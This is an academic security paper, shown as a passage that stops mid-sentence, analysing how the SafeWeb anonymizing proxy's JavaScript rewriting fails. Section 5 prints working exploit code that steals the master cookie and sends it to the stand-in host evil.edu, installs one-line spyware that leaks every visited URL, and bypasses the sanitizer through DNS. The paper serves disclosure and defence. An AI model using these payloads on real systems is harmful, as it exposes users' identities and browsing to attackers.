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Abstract 

 
The SafeWeb anonymizing system has been lauded by the press and loved by its users; self-described as “the most 
widely used online privacy service in the world,” it served over 3,000,000 page views per day at its peak.  SafeWeb 
was designed to defeat content blocking by firewalls and to defeat Web server attempts to identify users, all without 
degrading Web site behavior or requiring users to install specialized software.  In this paper we describe how these 
fundamentally incompatible requirements were realized in SafeWeb’s architecture, resulting in spectacular failure 
modes under simple JavaScript attacks.  These exploits allow adversaries to turn SafeWeb into a weapon against its 
users, inflicting more damage on them than would have been possible if they had never relied on SafeWeb 
technology.  By bringing these problems to light, we hope to remind readers of the chasm that continues to separate 
popular and technical notions of security.  
 

1. Introduction 

In Murphy’s Law and Computer Security [59], Venema 
described how early users of the “booby trap” feature of 
the TCP wrapper defense system might have been more 
vulnerable than those who didn’t use TCP wrappers at 
all.  This paper gives a contemporary example of this 
effect in the computer privacy realm: we show how the 
SafeWeb anonymizing service can be turned into a 
weapon against its users by malicious third parties, and 
how this weapon can inflict more damage on some of 
them than would have been possible if they had never 
encountered SafeWeb.  Unfortunately, the problems we 
describe do not seem to admit an easy fix consistent 
with SafeWeb’s design requirements. 

The SafeWeb anonymizing service was designed to let 
users disguise their visits to Web sites so that nearby 
firewalls would not notice the visits, and so the Web 
sites could not identify who was visiting them.  Our 
findings allow malicious firewalls or Web sites to 
quietly undermine SafeWeb’s anonymity properties by 
tricking a SafeWeb user’s browser into identifying 
itself.  In response, the user’s browser reveals not only 
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its IP address, but may also reveal all of the persistent 
cookies previously established through the SafeWeb 
service.  The adversary can also modify the SafeWeb 
code running on its victim’s browser so that it receives 
copies of all of the pages subsequently visited by the 
SafeWeb user during that browser session.   

Ordinary Web browsers are susceptible to such extreme 
privacy violations only in the presence of serious 
browser bugs.  Vendors usually treat such bugs as 
urgent problems and try to fix them very quickly.  But 
the SafeWeb problems are no mere bugs: they are 
symptoms of incompatible design decisions.  The 
exploits described here are not complicated; the authors 
spent only 3-4 days developing the attacks.  
Programmers experienced in networking and Web 
technologies should be able to produce them at a 
similar pace.   

The SafeWeb company has been aware of these 
vulnerabilities since May 2001, and possibly earlier, but 
did not acknowledge them publicly until February 
2002.  The SafeWeb FAQ [43] went so far as to say 
that claims about privacy threats from JavaScript – 
which are central to our attacks – were simply false and 
that JavaScript by design prevents any privacy abuses 
(see Figure 1).  Meanwhile, the mainstream press 
enthusiastically embraced the SafeWeb service 
[5,25,34,55].  Thus, most SafeWeb users have had no 
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reason to suspect that the service might put them at any 
unusual risk.   

Figure 1: Excerpt from SafeWeb FAQ, October 2001 

To mount these attacks, an adversary must lure a 
SafeWeb user to a Web page under the adversary’s 
control.  The Web page does not have to be located at 
the adversary’s Web site: using cross-site scripting 
vulnerabilities [6,33,49,52], the adversary only needs to 
lure the victim to a particular URL on one of many 
vulnerable Web sites.  The attacker also needs to 
control a Web or equivalent server somewhere in order 
to receive the sensitive data. 

We proceed with some background in Section 2.  In 
Sections 3 and 4 we describe the SafeWeb design.  In 
Section 5 we describe our attacks and related threats, 
and we discuss possible remedies in Section 6.  We 
give pointers to related work in Section 7 and discuss 
the impact of our attacks in Section 8.  In Section 9 we 
summarize some responses to our attacks. We conclude 
in Section 10. 

2. Background 

The promise of anonymizing services is, for better or 
worse, to keep user IP addresses out of routinely 
collected log files. This might help opponents of 

oppressive regimes, it might help someone for whom 
the phrase “right to privacy” equates to surfing porn at 
work, or it might help planners of terrorist attacks. 
(Although in practice, a plain old Hotmail account 
seems to be the tool of choice for al-Qaida [31].) 

The SafeWeb anonymizing service was the first 
offering of SafeWeb Inc., a privately held company 
founded in April 2000 and based in Emeryville, CA.  
Partners and investors in the SafeWeb effort include the 
Voice of America (the U.S.’s foreign propaganda 
service) [41], and In-Q-Tel, a C.I.A.-funded venture 
capital firm [40].   

The company launched its anonymizing service in 
October 2000.  By March 2001, they considered it the 
“the most widely used online privacy service in the 
world” [44].  SafeWeb licensed its anonymizing 
technology to PrivaSec LLC as part of that firm’s 
planned subscription privacy service in August 2001 
[45]. By October, SafeWeb was serving over 3,000,000 
page views per day.  The following month, SafeWeb 
suspended free public access to the service, citing 
financial constraints [28].  Then in a December 2001 
press release, they wrote that they were considering 
reestablishing the service, possibly on a subscription 
model [42]. 

Although SafeWeb’s particular advertising-supported 
privacy service was gone at the time this paper was 
completed, its technology lives on, and we continue to 
refer to it primarily as SafeWeb.  Our attacks can 
currently be witnessed through a technology preview 
program at PrivaSec’s Web site [36]. 

3. SafeWeb design requirements 

The SafeWeb service was designed to offer two main 
benefits to its users: censorship avoidance and 
anonymization. 

Censorship avoidance requirement. SafeWeb’s 
censorship avoidance is meant to help people avoid 
content blocking systems that normally restrict their 
activities.  The two main types of blockers are national 
censors and corporate security managers, both of whom 
control firewalls that enforce their policies.  Censorship 
avoidance in this context means encrypting the content 
so that it will pass through the content blocking system 
intact. (An obvious censor response is to block access 

How does SafeWeb tackle JavaScript?  

There have been numerous claims, mainly by 
privacy companies, that JavaScript by itself is very 
dangerous to your privacy, and that pages 
containing JavaScript should not be allowed through 
their privacy servers. These claims are false.  

JavaScript is no more "dangerous" than HTML. By 
design, JavaScript was limited in its feature set to 
prevent any abuse of your computer or privacy. 
Therefore, it is harder to make JavaScript code 
secure than it is to secure HTML, but it is certainly 
not impossible.  

SafeWeb analyzes all JavaScript code that passes 
through our servers and sanitizes it so that you can 
maintain your normal browsing habits while still 
remaining safe from prying eyes. The same is true 
for VBScript.  



 

to the SafeWeb service.  SafeWeb countered with its 
“Triangle Boy” system to hide its own IP address from 
the censors [39], but this is unlikely to be the last word 
in this arms race; see Section 7 for pointers to other 
approaches.) Users concerned with censorship 
avoidance consider their adversary to be located close 
to their own computer and may not perceive any threat 
from the Web sites they want to visit. 

Anonymity requirement. SafeWeb’s anonymization 
benefits users who wish to conceal their identities from 
the Web sites they visit.  This notion of “identity” is not 
precisely defined, but it certainly includes the user’s IP 
addresses and cookies at unrelated Web sites. 
Anonymity can also be considered a sort of second 
order censorship avoidance, for when censorship 
initially fails to keep illicit works off of the market, it 
can still effectively reduce access by intimidating 
authors and readers.  For example, the Directorate for 
Mail Censorship in Romania under Ceausescu collected 
handwriting and typewriter samples from its population 
for this purpose [35].  

In support of these primary goals, SafeWeb also 
observed these auxiliary requirements, which have the 
effect of making the SafeWeb service accessible to a 
very large user base: 

Faithfulness requirement.  The service should 
reproduce the sites visited by the user as faithfully as 
possible.  Specifically, it should sanitize and support 
most content types, even cookies and JavaScript.   

Usability requirement.  A service that is not fast will 
not get used, nor will one (such as PGP 5.0 [63]) that is 
too complex for the target market.  So the service must 
have quick response time and overall ease of use.   

No-mods requirement.  Many of the intended users of 
the system are not free to install software or even 
reconfigure their Web browsers; furthermore, they may 
not have the technical skills required to do so even if it 
were permitted.  Visitors to public facilities (e.g., cyber 
cafés and libraries) should be able to use the service, as 
should corporate employees who are not allowed to 
customize their computers. 

4. SafeWeb architecture 

 
Figure 2 contains a schematic diagram of SafeWeb’s 
technology.  Their service is implemented through a 
URL-based content rewriting engine.  In order to 
“safely” visit the page http://www.bu.edu, a user 
requests a URL such as https://www.safeweb.
com/o/_o(410):_win(1):_i:http://www.b
u.edu. A simple form at the SafeWeb site 
automatically performs this transformation for the user.  
This is consistent with the no-mods requirement. 

Given this transformed URL, the user’s Web browser 
builds an SSL connection to safeweb.com.  Since SSL 
encryption hides the URL request from intervening 
censors, this implements the censorship avoidance 
requirement.  Behind the scenes, SafeWeb obtains the 
page http://www.bu.edu, sanitizes it, and returns 
it to the user.  This step comprises the anonymity 
requirement, since the Web site merely sees a request 
for data from the SafeWeb site and not the user’s own 
computer.  SafeWeb manipulates the user’s browser 
display to make the resulting page appear to come from 
http://www.bu.edu (thus contributing to 
faithfulness).  But internally, the user’s Web browser 
considers it an SSL page delivered from safeweb.com.  

Sanitization is the crucial operation in realizing 
faithfulness without violating anonymity.  The page 
requested by the user is likely to contain URL 
references to other Web content such as embedded 
images, hyperlinks, cascading style sheets, frames, etc.  
Since the user’s Web browser does not use the HTTP 
proxy mechanism as part of the SafeWeb scheme, it 
will happily connect to any URL mentioned in any 
content it receives.  Therefore, every one of these 
references must be rewritten to go through the 
safeweb.com sanitizer.  Otherwise, when the reference 
is triggered, the user’s Web browser would directly 
contact the server named in the URL, in the process 
revealing the Web browser’s IP address and breaking 
the anonymity requirement. 

SafeWeb handles cookies by multiplexing them into a 
single “master cookie” associated with safeweb.com.  
When a user requests a Web page through SafeWeb, the 
user’s browser sees a connection to some HTTPS page 
within safeweb.com; in accordance with normal cookie 
semantics, the user’s browser also transmits the 



 

safeweb.com cookie to safeweb.com.  The server 
extracts and forwards only the relevant part of the 
cookie when it contacts the origin server for the page 
content.  Similar multiplexing happens with Set-Cookie 
headers sent back to the user’s browser.   

In order to faithfully render Web pages containing 
JavaScript, SafeWeb also sanitizes JavaScript programs 
before delivering them to the user’s browser.  This 
JavaScript rewriting engine takes untrusted JavaScript 
programs from Web sites as input and produces trusted 
JavaScript programs as output, preserving as much 
functionality in the original program as possible.  The 
output programs are trusted in the sense that SafeWeb 
considers them safe to run natively in the user’s Web 
browser.  For example, consider this simple JavaScript 
program that merely redirects the current page to 
www.bu.edu: 

window.location=”http://www.bu.edu”;

If this untrusted code were given to the user’s Web 
browser, then it would directly contact the www.bu.edu 
Web server, sending the user’s IP address, and thereby 
violating anonymity.  Given this input, the JavaScript 
rewriting engine produces something like this: 

window.location = window.top.fugunet_
loc_href_fixer("https://www.safewe
b.com/_u(http://[omitted]", "http:
//www.bu.edu", false);

The fugunet_loc_href_fixer function (not shown) 
produces a URL that, when fetched, instructs SafeWeb 
to obtain and sanitize http://www.bu.edu, just as 
in the first paragraph of this section.  Again, when such 
a URL is fetched, the server at www.bu.edu will only 
see an access from www.safeweb.com, and the log files 
at www.bu.edu will only contain SafeWeb’s IP address, 
rather than the user’s.  Of course, the logs at 
www.safeweb.com will contain evidence of the user’s 
indirect accesses to www.bu.edu, so these logs could be 
an attractive target for hackers, governments, and 
litigants [9,19].  But basically, the input JavaScript 
program has been rendered functional and safe. 

The window’s current URL location is not the only 
JavaScript element that must be sanitized.  SafeWeb 
rewrites references to the “parent” and “top” attributes 
of Window objects, the “src” attribute of objects 

derived from HTMLElement, document.cookie, and 
many other sensitive elements.  All of this rewriting is 
meant to prevent IP addresses from spilling to the 
wrong site, but it is also required so that JavaScript 
programs behave as intended by their original authors 
even when running in SafeWeb’s frameset context 
described in Section 5.2. 

5. The attacks  

The example JavaScript program shown above is a 
simple case: one string literal URL must be processed 
into a safe version.  But client-side JavaScript is no 
trivial language.  For example, it gives JavaScript 
programs full access to the JavaScript interpreter at run-
time through its document.write method (very 
commonly used to add or alter Web page content at run 
time), eval function,  and “Function” object: JavaScript 
programs can compute and execute new JavaScript 
code at run time.   

Recognizing that run-time interpreter access is 
threatening, SafeWeb implemented two modes of 
JavaScript rewriting: “recommended” and “paranoid” 
modes.  The difference between the two is in the 
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Figure 2: SafeWeb Architecture 



 

Figure 3: Configuration settings controlled by the master cookie in PrivaSec's service based on SafeWeb’s 
technology.  The settings shown can be considered minimum privacy.

handling of “eval”-like actions. In recommended mode, 
SafeWeb uses some weak run-time heuristics to 
remove certain problematic constructions but lets most 
code through.   In paranoid mode, SafeWeb removes 
even more.  In other words, recommended mode 
prefers faithfulness, and paranoid mode prefers 
anonymity.  As implied by the name, the default mode 
is “recommended” in both SafeWeb and PrivaSec.  
This setting is controlled by an all-purpose options 
dialog box; see Figure 3. 

Given this tradeoff it should not be surprising that 
attacks against anonymity are possible in 
recommended mode.  For example, a single carefully 
crafted JavaScript statement is enough to cause a 
SafeWeb user’s Web browser to reveal its real IP 
address to the attacker.  What is perhaps unexpected is 
how much more damage the attacker’s code can do, 
and that equivalent attacks are possible in paranoid 
mode. 

5.1. The master cookie 

As mentioned in Section 4, SafeWeb multiplexes 
cookies into a master cookie associated with 
safeweb.com.  For example, if a user visits wired.com 
through SafeWeb and wired.com transmits a Set-
Cookie header back to the user, SafeWeb then adds the 
pertinent information to the cookie it shares with the 
SafeWeb user. 

SafeWeb’s master cookie also stores its own 
configuration settings, such as recommended or 

paranoid mode, whether to save persistent subcookies, 
whether to attempt to block Java applets, etc.   These 
settings are shown in Figure 3. For example, selecting 
“block all cookies” sets a bit in the master cookie that 
directs the SafeWeb sanitizer to block actions that 
manipulate cookies (except for those referring to the 
safeweb.com cookie).  If cookies are fully disabled in 
the user’s browser, then settings embedded in the 
master cookie cannot be communicated to the SafeWeb 
sanitizer; as a result, the service reverts to its default 
settings.   

The table below shows some of the SafeWeb master 
cookie.  The first record shows SafeWeb configuration 
information (encoded as an integer), and the last record 
represents a cookie deposited from the .bu.edu domain 
associating the key “foo” with the value “bar”. 

SafeWeb_options = 384
/.wired.com/:p_uniqid = 7gNK40dLJ4O
+yV8YkD 
/.lycos.com/:lubid = 010000508BD322
4708043BD828B8003DA2EE00000000
/servedby.advertising.com/:57646125
= !ee910010040218560018!00000000-0

0008869-00007874-3bd82860-00000000-
*64.124.150.141*
/.bu.edu/:foo = bar

Clearly, a user’s master cookie is sensitive  
information.  Besides containing overall security 
settings, each subcookie contained within it is evidence 
that the user has visited the corresponding site, and it 



 

may also indicate the SafeWeb user’s pseudonymous 
identity there.   

Ordinarily, two unrelated Web sites have no way to 
discover the cookie values that they each 
independently deposited on a user’s browser [24,32].  
But under this master cookie scheme, anyone who gets 
the single SafeWeb master cookie really gets all of the 
cookies previously sent to the user’s browser through 
SafeWeb.   

5.1.1. Stealing and changing the master cookie 

self['document']['cookie']="AnonGo_op
tions=Win1_384; path=/";

self['document']['cookie']="SafeWeb_o
ptions=384; path=/; expires=Mon Oc
t 31 00:00:00 EST 2012";

foo=eval;
foo('(new Image(1,1)).src="https://ev

il.edu/"+(new Date()).getTime()+do
cument.cookie');

Recall that the user’s browser executes all scripts 
fetched via SafeWeb in the context of safeweb.com, 
which it believes is the site being visited.  Therefore, 
document.cookie is the master cookie within this 
script.  Since the SafeWeb rewriter does not want a 
third party JavaScript program to gain access to the 
entire master cookie, it rewrites overt references to 
document.cookie.  But it is not capable of recognizing 
synonyms such as self[‘document’] [‘cookie’]. 

Whatever the user’s current SafeWeb settings are, this 
attack reverts them to the “minimum privacy” as 
shown in Figure 3; the number 384 denotes that 
particular combination of settings.  (Beware of the 
confusing asymmetry in JavaScript’s cookie semantics: 
the first two lines would appear to overwrite the master 
cookie, but in fact, they simply add value pairs to it.) 

The SafeWeb sanitizing engine does not model 
program data flow very thoroughly, as the “foo” 
synonym we establish for “eval” in the third statement 
is not treated as suspicious.  As a result, the fourth 
statement is not rewritten on its way to the user’s 
browser and this time even the literal 
“document.cookie” makes it through.  This statement 
causes the user’s browser to transmit the full master 
cookie to the adversary at evil.edu, bypassing the 
SafeWeb sanitizer – and therefore revealing the user’s 
IP address – in the process.  The reference to the Date 
object merely ensures that the HTTP transaction 
evades intervening caches.    

5.1.2. Using a SafeWeb helper function to read the 
master cookie 

t = self; //these two lines
t = t.top; //change self
gcd = t.frames[0].getCookieData;
t = t.frames[1]; // restore self

c = "/";
n = "?";
while (n != "") {
n = gcd(c);
c += n + ";";

}
opts = "SafeWeb_options";
c += opts + gcd(opts);

alert("Master cookie is " + c);

This attack is interesting because it grabs the master 
cookie without explicitly mentioning it, by using a 
helper function called getCookieData provided in the 
top frame of the SafeWeb infrastructure (see Section 
5.2).  A call such as getCookieData(‘www.example. 
com’) is meant to be used internally by SafeWeb to 
extract only the www.example.com part of the master 
cookie.  However, it allows its searches to span record 
boundaries, and it has no way of knowing whether it is 
being called by SafeWeb or by an attacker.  We exploit 
these facts to reconstruct the entire master cookie using 
a simple prefix search.  The SafeWeb rewriting engine 
does not alter any of the code in this attack. 

5.2. The SafeWeb frames 

The control part of the SafeWeb interface is separated 
from the content part using HTML frames.  Refer to 
Figure 4; in the top frame, we can see that the user has 
requested a page from www.bu.edu, and the content of 
that page is shown in the lower frame.   

The relevant URLs are: 

� Overall frameset: https://64.152.73
.207/_i:_v(1020965473820):_o(384):
http://www.privasec.com/memberhome
2.htm 

� Top frame: https://64.152.73.207/spoo
l/common_files/upperframe.php?flas
h=322_1



 

� Bottom frame: https://64.152.73.207/_
u(http://www.bu.edu):_o(322):_win(
1):http://www.bu.edu

 (The examples in this section refer to PrivaSec’s 
deployed service; therefore, the URLs  use PrivaSec’s 
IP address 64.152.73.207 rather than safeweb.com.) 

 

Figure 4: PrivaSec screen shot showing SafeWeb 
technology. The top frame is a control panel 

(“SurfSecure”), and the bottom frame is the page 
requested by the user. 

 

One attack approach is to alter the top frame to 
somehow make it track the content viewed by the user 
in the lower frame.  But keep in mind that the attacker 
only has direct control over content in the bottom 
frame, and JavaScript’s “same origin” policy in Web 
browsers forbids two frames from communicating 
unless they are from the same domain in order to 
prevent one site from stealing data from another  [15].  
At first glance, it would seem difficult for the bottom 
frame to reach onto the top (or vice versa). 

But in this case, both frames do come from the same 
domain.  Refer to the URLs above; both come from 
64.152.73.207, one of PrivaSec’s addresses.  This is no 
accident; by inspecting the sanitized code, it is clear 
that the SafeWeb was built with this cross-frame access 
by JavaScript in mind.  So in addition to overruling the 
standard cookie domain restrictions noted above, 

SafeWeb also sacrificed the browser’s native cross-
domain frame protection.   

5.2.1. One-line spyware attack 

self['window']['top'].frames[0]['cook
ie_munch'] = Function('i=new Image
(1,1);i.s'+'rc="https://evil.edu/"
+top.frames[0].document.forms["fug
ulocation"].URL_text.value+(new Da
te()).getTime()+document.cookie;')
;

 
As part of its sanitization, SafeWeb alters every Web 
page to include a call to its own function 
cookie_munch, which is defined in the context of the 
top frame.  This attack simply changes the definition of 
that function, so that every time SafeWeb processes a 
new page (whether the user types it in manually or 
simply clicks on a link), this function will be called, 
and it will grab the current URL and send it off to the 
attacker.  An attacker could also break the actual 
document (document.body .innerHTML) into pieces 
and use Web bugs to deliver it elsewhere [50]. 

This one-line attack doesn’t work in Internet Explorer, 
because the spyware function it creates is destroyed 
when the frame content displaying it changes – i.e., 
when the user navigates to a new page.  It can be 
generalized to work in Internet Explorer, but the 
resulting attack is very long, because it includes the full 
HTML source for SafeWeb’s upper frame.  We omit it 
here.  (Our longer attack causes a brief flash in the 
upper frame when it first loads.) 

5.3. DNS attack 

var s = "https://www.safeweb.com.evil
.edu/";

document.images[0].src = s;

When SafeWeb processes the program above, it passes 
the first statement through unchanged and rewrites the 
second statement as follows: 

document.images[0].src = (s)?((s).ind
exOf ('https://www.safeweb.com') =
= 0)?(s):("https://www.safeweb.com
/o/_o(410):_win(1):_base(https://e
vil.edu/):" + (s)):' ';

SafeWeb is checking to see if the string appears to be 
sanitized or not.  The rule is: if it begins with 
“https://www.safeweb.com”, then it’s safe, otherwise it 



 

still needs to be sanitized.  Our DNS attack succeeds 
because the string does begin that way, but that doesn’t 
mean that the URL refers to the SafeWeb site.  By 
controlling the evil.edu domain, we can make the URL 
“https://www.safeweb.com.evil.edu/” refer to any 
computer we like.   

This simple (and easily fixed) implementation error 
highlights the danger in relying on a simple piece of 
text as the magic indicator of data that has already been 
sanitized.  

A non-DNS attack that is not so easily defeated, but 
that has the same effect, simply subclasses String so 
that its overridden indexOf method always returns 0. 

5.4. About  paranoid mode 

The only difference between recommended mode and 
paranoid mode is in how eagerly the SafeWeb 
rewriting engine rewrites JavaScript code on the way to 
the browser.  Once a piece of JavaScript code arrives at 
the browser, SafeWeb’s paranoia level has no effect on 
the type of damage that attacking code can inflict.     

In paranoid mode, SafeWeb removes references to the 
eval function and many equivalent constructs, such as 
document.write and javascript: URLs.  SafeWeb 
maintained that this blocked all dangerous JavaScript 
[7].  But this approach amounts to making a list of 
known-unsafe constructs and blocking them.  In fact, 
the paranoid mode rewriter considers the content it 
doesn’t understand to be safe.  So in order to mount an 
attack in paranoid mode, an attacker only needs to 
think of a way to gain access to the JavaScript 
interpreter that the SafeWeb architects didn’t envision.  
Indeed, all of our attacks above succeed in paranoid 
mode.  This approach to safety is in opposition to the 
advice of Venema in [59]: 

"When a program has to defend itself against 
malicious data, there are two ways to fix the 
problem: the right fix and the wrong fix. The 
right fix is to permit only data that is known to 
give no problems: letters, digits, dots, and a few 
other symbols… 

"Unfortunately, many people choose the wrong 
fix: they allow everything except the values that 
are known to give trouble. This approach is an 
invitation to disaster." 

If SafeWeb had tackled the problem using this allow-
safe approach rather than the disallow- unsafe 
approach, we believe it would have quickly become 
clear that the toggle between recommended and 
paranoid modes didn’t actually correspond to a choice 
between faithfulness and anonymity.  While selecting 
paranoid mode does reduce faithfulness, it fails to 
improve anonymity.  There’s no reason to use it. 

To get an idea of the kind of problem SafeWeb is up 
against in sanitizing JavaScript, consider the following 
snippet: 

self[‘document’][‘write’](‘<script>
attacking code</script>’);

Keep in mind that while this example uses string 
literals such as “document” and “write”, an attack 
could instead compute those strings at run time. To 
prevent the attacking code from reaching the browser, 
SafeWeb would either need to forbid access to the self 
object, forbid array dereferencing, forbid function 
calls, or disable the document.write method at run time 
(e.g., document.write= function() {} ).  The latter 
seems like the most promising approach.  But 
JavaScript is lexically scoped; changing one entry 
point to a method is not the same as making its 
previous meaning totally inaccessible to the running 
program.  Our getCookieData attack in Section 5.1.2 
illustrates this. 

5.5. Other direct identification attacks 

Rubin [38] and Yezhov [64] first wrote about related 
problems with SafeWeb.  Uhley describes several 
attacks as well [58], including problems with event 
handlers, VBScript, and commandeering SafeWeb 
internal functions.  We estimate that 15-25 distinct 
attacks are known to outsiders by now.  Since we and 
other adversarial investigators  tend to declare victory 
and move on after succeeding in a few different ways, 
these numbers may underestimate the vulnerabilities in 
SafeWeb’s rewriting engine. 

5.6. The tightrope balance threat  

Configuring an HTTP proxy creates a sort of attraction 
between HTTP transactions and the proxy server, 
wherein all of the components work together to make 
sure that all transactions involve the proxy.  SafeWeb 
has no such drawing power and might even be 
considered more of a tightrope than a web.  A user is 
“within” SafeWeb only as long as all of the links 
presented have been rewritten to refer to SafeWeb; if a 



 

user clicks on any that arrive unsanitized, then the 
SafeWeb protection silently slips away.  

For example, a computer with Adobe Acrobat installed 
will generally display PDF files directly within Internet 
Explorer.  But SafeWeb doesn’t sanitize PDF files.  So 
when a user clicks on a URL displayed within a PDF 
file, Acrobat will directly contact the named host, 
violating anonymity.  Microsoft Office documents can 
leak information in the same way.  The result is a Web 
browser that looks like SafeWeb, with the logo and 
standard buttons intact, but that completely bypasses 
the SafeWeb system: it’s reassurance without 
assurance. 

5.7. The rewriter evasion threat 

Our attacks cause malicious code to reach the browser 
even after it is processed by SafeWeb’s JavaScript 
rewriting engine.  But the problem of accurately 
identifying JavaScript content within HTML is known 
to be hard for a third party observer [20,26,29,49,64].  
To recognize JavaScript content, the SafeWeb servers 
have to parse all of the pages requested by their users 
in exactly the same way that the user’s Web browsers 
will later parse the content.  This is difficult not only 
because of natural differences between browser 
implementations, but also because Web browsers are 
designed to display all manners of standards-
noncompliant content.  Each discrepancy between a 
Web browser’s understanding of a page and SafeWeb’s 
prediction of the browser’s understanding of the page 
can lead to content evading the rewriter altogether.  
SafeWeb could have attempted to block all third party 
JavaScript content and their users would still have been 
at risk to attacks contained within such evasions, as 
long as JavaScript was enabled at the browser level. 

5.8. The local identification threat 

Our attacks ask the victim’s computer to identify itself 
by contacting the attacker directly, but this isn’t the 
only possible approach for obtaining the victim 
computer’s IP address.  For example, some versions of 
Netscape expose it to JavaScript through 
java.net.InetAddress.getLocalHost().getHostAddress(); 
SafeWeb doesn’t interfere at all. This and other known 
methods of grabbing the IP address have been patched 
in later browsers [26,27,51,53].  Scriptable ActiveX 
objects might also reveal this information in Internet 
Explorer.  But whatever the secret is, once the 
attacker’s script has possession of it, the game is over.  
Covert channel minimization techniques are not very 

useful here, because they require the censor to 
carefully manage information representation, and such 
techniques would sharply collide with SafeWeb's 
usability and faithfulness requirements.  After all, 
SafeWeb’s job is to quickly relay Web material 
between arbitrary third parties.  The attacker can just 
stuff the secret into a URL; SafeWeb will happily wrap 
a request to safeweb.com around it, and then relay that 
URL back to the attacker’s Web server. 

5.9. A fingerprinting attack 

Using file size and timing signatures, Hintz [22] shows 
how an observer of an encrypted SafeWeb session can 
probably confirm a  suspicion about the page a 
SafeWeb user is visiting. 

6. Possible remedies 

We have seen SafeWeb’s requirements colliding in a 
way that breaks both faithfulness and anonymity.  This 
isn’t the only possible outcome, however.   

6.1. Sacrifice anonymity 

All of the attacks described in this paper would be 
irrelevant if SafeWeb had simply disavowed its claim 
to anonymity.  The system would probably still have 
attracted and served users with its censorship 
avoidance properties.  After all, anyone can tell 
whether that is working: either the content appears or it 
doesn’t.  It would be important, however, to warn users 
that there is a risk that they might be identified while 
using the system.   

An alternative is to clarify to users that the SafeWeb 
system can only protect their identity from strictly 
passive eavesdroppers (who don’t use the 
fingerprinting attack of Section 5.9), and that the cost 
of this protection is a sharply pronounced exposure to 
those adversaries willing to lie in wait.   

6.2. Sacrifice faithfulness 

Another option is to support censorship avoidance and 
anonymity by sacrificing more faithfulness, i.e., 
making the system usable even when JavaScript and 
cookies are disabled at the browser level.  After an 
early version of this paper appeared, SafeWeb tweaked 
its system to do precisely this – previously, the system 
did not work at all if JavaScript was disabled.  A 
weaker sacrifice would be to simply remove all 
JavaScript encountered in paranoid mode, without 



 

requiring JavaScript to be disabled in the browser.  But 
usability would also be affected, and the tightrope 
balance and rewriter evasion threats of Sections 5.6 
and 5.7 would remain. 

6.3. Sacrifice usability 

Although it may be a bit far-fetched, SafeWeb could 
embed a JavaScript parser of its own design within 
each Web page.  This parser would itself be written in 
JavaScript or some other widely available scripting 
language (so as to satisfy no-mods).  SafeWeb would 
then arrange to deliver each untrusted JavaScript 
program as text input to the parser.  At run-time, the 
parser would interpret its input program but refuse to 
do perform any operation that is immediately unsafe 
(such as initiating a Web transaction to the “wrong” 
host, or eval()ing a string outside of the parser context).  
This approach doesn’t deal with the tightrope balance 
and rewriter evasion threats of Sections 5.6 and 5.7, 
and is likely to be slow, heavyweight, and hard to 
perfect, but it would be a conceptually lovely thought 
experiment in a computability theory or compilers 
class. 

6.3.1. Encrypt the master cookie 

If SafeWeb arranged to encrypt the master cookie 
under a key known only to the SafeWeb server 
whenever transmitting it to a browser, then attacks 
against the master cookie would be much less 
rewarding.  Some extra server roundtrips would be 
required to manipulate the cookie, however, and this 
might affect usability.  Anonymizer.com uses an 
encrypted master cookie approach [2]. 

6.4. Sacrifice no-mods 

Relaxing the no-mods requirement makes it much 
easier to satisfy the others.  A component installed at 
the right network layer could ensure that 
communications are restricted to the SafeWeb server, 
thus preventing our attacks from spilling the 
computer’s IP address.  Simply using the standard 
HTTP proxy mechanism would be a very good start.  
The top frame JavaScript infrastructure would still be 
vulnerable to spyware infiltration, but without the 
ability to spill the IP address directly to an attacker’s 
computer, the spyware might be unable to 
communicate who had been infiltrated.  However, the 
local identity acquisition threat of Section 5.8 would 
remain.   

Client-side JavaScript’s access to network, cookie, and 
frame functionality are generally concentrated in 
externally hosted facilities, such as the Window and 
Document object implementations made available by a 
Web browser.  Therefore, a sandbox constructed 
around JavaScript (and other scripting languages, such 
as VBScript) may be able to restrict scripts from 
mounting our attacks.  But the result would be less 
effective than a network component  solution, since the 
tightrope balance threat of Section 5.6 would remain. 

7. Related work 

Like SafeWeb, the Anonymizer [2] and SiegeSurfer 
[48] services also use a monolithic rewriting engine to 
provide some Web user anonymity.  Onion Routing 
[54], Crowds [37], Freedom.net [4], WebMIXes [3], 
and Tarzan [16] use considerably more sophisticated 
techniques to provide stronger anonymity against 
determined, distributed, and cooperating adversaries.   

Systems specifically designed for censorship resistance 
include Publius [62], Tangler [61], Freenet [8], Free 
Haven [10], and Infranet [12]; of these, Infranet 
probably has the strongest focus on user surveillance 
resistance.  Popular peer to peer file sharing systems 
such as Gnutella, Morpheus, and Kazaa are difficult for 
censors to shut down, but their design emphasis has 
more to do with the “freedom to share” than 
censorship. 

None of these systems sanitize JavaScript by rewriting 
it (although Anonymizer seems to be considering that 
approach); they either somehow remove the JavaScript 
they see or direct users to disable JavaScript at the 
browser level when applicable.   Many of these 
systems do not protect against attackers who use a Web 
cache timing approach to recognize users [14].   

Java applets run in a highly studied sandbox 
environment [18] that probably has applications to 
JavaScript as well.  A recent bibliography of code 
containment papers is available in [1]. 

8. Discussion 

Although SafeWeb and PrivaSec also attracted 
corporate employees trying to avoid goof-off filters 
such as Websense and SurfControl [46], the class of 
users most threatened by the SafeWeb weaknesses are 
citizens of countries with censorship policies that are 
realized in part through national content blocking 
firewalls.  This is because the stakes are so high for 



 

these users, and because their governments have 
already proven their interest in scrutinizing network 
connections.  A government that wished to identify its 
SafeWeb users and their master cookies could just 
periodically intercept HTTP connections crossing their 
firewall and respond with an HTTP redirect, via 
SafeWeb, to their own server containing code that 
grabs master cookies.  Another approach would be to 
use cross-site scripting weaknesses in Web bulletin 
board systems to deposit exploit code on sites likely to 
be visited by misbehaving users.  Easier still, they 
could simply buy advertising space for their exploit 
code.   

Ironically, SafeWeb helps the censors by narrowing 
their search to those users who clearly know they are 
doing something evasive when they contact SafeWeb 
[9,47].  A firewall operator can generate a list of 
SafeWeb users by looking for connections to the main 
SafeWeb site or by looking for the (always 
unencrypted) SafeWeb certificate in SSL sessions. Our 
attacks are not required for this; they really target 
SafeWeb’s anonymity, not its censorship avoidance. 
However, we again observe that a government with the 
power to block Web sites at a national firewall may 
also be willing to punish those who try to circumvent 
the firewall. 

SafeWeb has readily acknowledged that foreign 
censors could easily identify those in their population 
who use SafeWeb, saying that using such evidence 
against users would be “draconian” [25].  But by 
obtaining SafeWeb master cookies or session 
transcripts with our attacks, the censors have increased 
leverage: they learn not only who uses SafeWeb, but 
they also learn which sites the users wanted to secretly 
visit.  Inspecting the cookie values might reveal 
identification numbers possibly keyed to memberships, 
subscriptions, commercial transactions, or even 
authentication codes [17].  While using this type of 
evidence against users may also count as draconian, it 
